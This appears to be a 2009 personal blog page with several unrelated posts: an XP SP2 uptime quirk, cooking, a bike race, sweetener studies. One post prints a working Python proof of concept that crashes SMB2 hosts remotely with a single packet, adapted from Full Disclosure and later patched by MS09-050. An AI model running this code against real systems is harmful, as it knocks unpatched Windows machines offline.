Press "Enter" to skip to content

nuxx.net Posts

Changing Win32_OperatingSystem.LastBootupTime Result on XP SP2 after Stand-By or Hibernate

On Windows XP one can use WMI to determine when the computer booted up by querying root/cimv2/Win32_OperatingSystem.LastBootupTime. This will return a result in CIM_DATETIME format indicating the time the computer booted up. However, while researching some things yesterday I found that on XP SP2 this changes if a user logs out, puts the computer in a Hibernate or Stand-by mode, wakes the computer, then queries this value.

Here’s results of this query after a few different scenarios:

Initial Query: 20090910130529.109375-240
After Logoff / Logon: 20090910130529.109375-240
After Hibernate / Wake while Logged In: 20090910130529.109375-240
After Logoff / Hibernate / Wake / Login: 20090910131221.162894-240
After Logoff / Stand By / Wake / Login: 20090910131718.006644-240

This was quite unexpected, because Microsoft’s documentation on the Win32_OperatingSystem class states that LastBootUpTime contains “Date and time the operating system was last restarted.”, and Hibernate or Stand By shouldn’t constitute a restart.

This behavior was not observed on XP SP3. Per 946480: List of fixes that are included in Windows XP Service Pack 3 this was not something fixed, but it does appear to have changed. If you would like to demonstrate this for yourself, use the following VBScript (or download it from here: getlastbootuptimetest.vbs) to easily read out Win32_OperatingSystem.LastBootUpTime:

Leave a Comment

Cheating Curry

I am currently making a cheating curry, using Trader Joe’s jarred Red Curry Sauce, pre-sliced mushrooms, and an eggplant and three green peppers from the CSA. The rice is basmati, will be cooked Indian-style by boiling like pasta, and should be done in about eight minutes.

Past experience with Trader Joe’s jarred curries makes me believe that this will result in a decent lunch for tomorrow, and a few subsequent days. After this I’ll bake the cookies (dough already made) for a potluck at work tomorrow, and then grill up a chicken sausage for dinner.

Through all this the kitchen shall remain clean. Good food and a nice, clean kitchen. Mmm!

Leave a Comment

MS09-0??

As is normal for a Patch Tuesday, Microsoft released a bunch of patches. Unfortunately, none of them fix a vulnerability in SMB2 on Vista, 7, or Server 2008 which allows easy remote BSODs using a single packet. This code below, which works under Python 2.6 on Windows, was very slightly adapted from this post to Full Disclosure.

import socket
host = "127.0.0.1", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(host)
s.send(buff)
s.close()

UPDATE: Microsoft has posted 975497 – Vulnerabilities in SMB Could Allow Remote Code Execution which states:

Microsoft is investigating new public reports of a possible vulnerability in Microsoft Server Message Block (SMB) implementation. We are not aware of attacks that try to use the reported vulnerabilities or of customer impact at this time.

I’m not sure how they define attack, but that BSOD above sure looks like one and making something quick to hit whole subnets in a go would be trivial.

UPDATE 2: This was fixed on 13-Oct-2009 in MS09-050.

Leave a Comment

Pig In An… Alley?

This morning when pulling up to the post office at 22 Mile and VanDyke I noticed a pig laying in the alley behind the strip mall which Bone Appetite Pet Supplies. A few years ago I saw this same pig, but at that time it was just nosing around in the grass next to a sign saying that the pig is supposed to be there.

UPDATE: Since people have asked, yes, the pig was alive. It was breathing, but appeared to be sleeping. The bowl on the right contained a bit of bright yellow liquid, which I hope was some sort of nutritional supplement or the remains of food. If I’m remembering correctly the other bowl was empty.

Leave a Comment

Trash Picking Reason #2264584

This free shelf here is another reason why one shouldn’t be afraid to take their neighbor’s trash right off the pile. While walking Roxie last night we saw this white shoe organizer sitting in the trash. One of the assembly screws had broken through the top, as if someone had stepped on it.

One new hole, moving the screw, and some wood glue and a clamp to repair the ripped out piece, and it’s quite nice again. Sure, these only cost $10 – $15, but free (and one less in the landfill) is even better. I really like shelves like this, as they are great for organizing small tools on a workbench or desk surface. There’s already one on my basement workbench and another on Danielle’s desk. This one on the garage workbench rounds it out nicely.

Leave a Comment

Artificial Sweeteners and Overeating

I’ve read a few things hinting that artificial sweeteners such as Aspartame (NutraSweet) and Saccharin cause an insulin response, leading to blood sugar drop and often overeating. While I don’t know enough to say how true it is, these three articles seem to support this:

Effects of artificial sweeteners on insulin release and cationic fluxes in rat pancreatic islets.

[…] Sodium saccharin (1.0-10.0 mM), sodium cyclamate (5.0-10.0 mM), stevioside (1.0 mM) and acesulfame-K (1.0-15.0 mM), all of which display a bitter taste, augmented insulin release from islets incubated in the presence of 7.0 mM D-glucose. In contrast, aspartame (1.0-10.0 mM), which is devoid of bitter taste, failed to affect insulin secretion. […]

A role for sweet taste: Calorie predictive relations in energy regulation by rats.

[…] We found that reducing the correlation between sweet taste and the caloric content of foods using artificial sweeteners in rats resulted in increased caloric intake, increased body weight, and increased adiposity, as well as diminished caloric compensation and blunted thermic responses to sweet-tasting diets. These results suggest that consumption of products containing artificial sweeteners may lead to increased body weight and obesity by interfering with fundamental homeostatic, physiological processes. […]

Sweet taste receptor expressed in pancreatic beta-cells activates the calcium and cyclic AMP signaling systems and stimulates insulin secretion.

[…] In these cells, artificial sweeteners such as sucralose, succharin, and acesulfame-K increased insulin secretion and augmented secretion induced by glucose. […]

When I was rather young, eating anything containing NutraSweet would give me a pretty bad headache. While this doesn’t happen any more, I do wonder if it was related.

Leave a Comment

2009 Stony Creek XC Race

With today being the start of a long stretch of great weather, I set out to Stony Creek to watch Tailwind‘s 2009 Stony Creek XC race. Some friends were starting at 1pm, so leaving my house at noon I made quick work (for me) of the ~14.5 trip, arriving just before they started off. This route took me up to 24 Mile and Dequindre, along Parkdale, up to Letica drive, then east along there and Sheldon, into one of Stony Creek’s rear entrances, then around two-track to the trailhead.

Once at the race I mostly hung out with folks, then snapped a few occasional photos of people. I would have headed off into the woods to grab actual photos of people, but since I’d left the memory card at home, I was only able to grab a few frames. These ended up being the following images:

· Bob, getting ready for the 2009 Stony XC Race, while Robert from Tailwind explains some things.
· Bill passing a guy riding Aerospokes while going into his second lap of the 2009 Stony XC Race.
· Bob, crossing the line to start his second lap at the 2009 Stony XC Race.
· Mike, crossing the finish line at the end of the 2009 Stony XC Race.
· Bob, crossing the finish line at the 2009 Stony XC Race.

After the race I headed back home via a slightly different route, heading out the main Stony Creek entrance, up the Macomb Orchard Trail to 24 Mile and Dequindre, then back the normal route home.

End result was just barely over 29 miles in 2:00:06 on an absolutely glorious Sunday.

Leave a Comment